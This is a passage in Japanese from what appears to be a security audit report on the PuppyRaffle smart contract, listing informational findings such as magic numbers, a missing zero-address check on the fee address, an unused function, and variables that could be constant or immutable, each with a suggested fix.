変更前後でのガス効率の違いを確認するために、テストを実行してください。

推奨される軽減策:

- 少なくともバージョン 0.8.0 にアップグレードし、最初に base64 ライブラリおよびその他の互換性のないライブラリとの互換性問題を解決してください。
- ガス効率を向上させるために、error および revert で処理できる require ステートメントを置き換えてください。
- スマートコントラクトは、同じコンパイラバージョンでデプロイされるべきです。https://swcregistry.io/docs/SWC-103/

[S-情報系 3] マジックナンバー

説明:

すべての数値リテラルは定数に置き換えるべきです。これにより、コードが読みやすく、メンテナンスが容易になります。文脈のない数字は「マジックナンバー」と呼ばれます。

推奨される軽減策:

- すべてのマジックナンバーを定数に置き換える。

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
          uint256 prizePool = (totalAmountCollected *
              PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
          uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
              TOTAL_PERCENTAGE;
```

[S-情報系 4] `feeAddress` のゼロアドレスチェック

説明:

`PuppyRaffle`コントラクトは、`feeAddress`がゼロアドレスでないことをチェックしていません。これは、`feeAddress`がゼロアドレスに変更されると、手数料が失われることを意味します。

```

PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/
    PuppyRaffle.sol#57) lacks a zero-check on :
                - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)
PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.
    sol#165) lacks a zero-check on :
                - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)
```

推奨される軽減策:

- `feeAddress` を更新する際には、ゼロアドレスチェッカーを設置する。

[S-情報系 5] 未使用の関数 `_isActivePlayer()` は削除するか、使用ケースを変更してください。

説明:

関数 `_isActivePlayer()` は使用されていません。これを削除するか、`external` で使用できるように変更するか、その使用ケースのロジックを変更してください。

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

[S-情報系 6] 固定値変数は `constant` または `immutable` としてマークするべきです

説明:

- Constant:

```

PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) → constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) → constant
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) → constant
```

- Immutable:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) → immutable
```

ガス

- ガスについては、上記の情報の中で含まれている。